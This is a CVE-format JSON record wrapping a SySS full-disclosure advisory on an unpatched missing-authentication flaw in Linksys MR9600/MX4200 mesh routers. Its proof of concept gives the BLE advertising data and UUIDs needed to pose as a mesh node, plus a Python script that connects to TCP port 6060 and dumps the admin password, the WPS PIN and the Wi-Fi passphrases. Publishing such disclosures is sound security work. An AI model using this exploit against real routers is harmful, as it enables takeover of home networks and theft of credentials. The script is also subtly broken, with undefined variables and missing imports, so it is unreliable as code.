{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-002\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\n\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing authentication, a user with physical access to the device\ncan misuse the mesh functionality to add a new mesh device to the network\nto gain access to sensitive information, including the password for admin\naccess to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides the functionality to add\nother devices to the mesh network. One method to add such a device uses\na Bluetooth connection initiated by pressing the reset button quickly\nfive times.\n\nThis makes the router search for nearby Bluetooth Low Energy (BLE) devices\nwith specific services and characteristics. After such a device is found,\nthe router will connect to it and send credentials for a hidden Wi-Fi\nnetwork as well as a TLS-SRP username and password. This information\ncan be used to connect to the hidden Wi-Fi and a service running on TCP\nport 6060, which accepts a TLS-SRP connection using the given\ncredentials.\n\nBy sending a binary hello message, followed by a so-called \"sync request\",\nthe service will answer with sensitive data, including the password for\nadmin access to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo be recognized as a Linksys mesh device over BLE, the correct data has\nto be advertised. This includes the following:\n\n\u00a0 - Flags: 0x06\n\u00a0 - Manufacturer specific data: 0x5C00 0x0000\n\n\u00a0 - Complete local name: Linksys\n\nAdditionally, the following service has to be present with the specified\ncharacteristics:\n\n\u00a0 Service UUID: 00002080-8eab-46c2-b788-0e9440016fd1\n\n\u00a0 Characteristics 1:\n\u00a0 \u00a0 UUID: 00002081-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\n\u00a0 Characteristics 2:\n\u00a0 \u00a0 UUID: 00002082-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\nAfter the reset button on the MX4200 is pressed quickly five times,\nit will connect to the advertising device and write the data containing\nthe SSID and passphrase of the hidden Wi-Fi network as well as the\nTLS-SRP username and password into the second characteristic.\n\nAfter this data is received and a Wi-Fi connection to the hidden\nnetwork is established, the following Python code, using the\n\"tlslite-ng\" library, can be used to connect to the service running on\nTCP port 6060 and to send the sync request:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\n\u00a0 data = \"\"\n\u00a0 msg = connection.recv(1024)\n\u00a0 while msg:\n\u00a0 \u00a0 \u00a0 data = data + msg.hex()\n\u00a0 \u00a0 \u00a0 msg = connection.recv(1024)\n\n\u00a0 data = bytes.fromhex(data[36:-2])\n\u00a0 data = data.decode(\"utf8\")\n\u00a0 json_data = json.loads(data)\n\u00a0 print(json.dumps(json_data, indent=2))\n\nThe returned data is shown in the following:\n\n\u00a0 {\n\u00a0 \u00a0 \"ADMIN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::admin_password\": \"AdminPassword+1\"\n\u00a0 \u00a0 \u00a0 \u00a0 }\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 },\n\u00a0 \u00a0 \"WLAN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::wps_pin\": \"63091700\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_passphrase\": \"WiFiPassword\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_security_mode\": \"wpa2-personal\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_ssid\": \"LinksysRD\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 },\n\u00a0 \u00a0 [...]\n\u00a0 }\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2025-06-24: Manufacturer information: vulnerability will not receive fix\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-002\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/11"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-002] Linksys MX9600/MX4200 - Missing Authentication for Critical Function",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0200",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/11",
            "automated": true,
            "contentSha256": "c8cd125dae339fed121055b3d91afb985712c7196e53275f1a6d2bc8f7059795",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0200"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}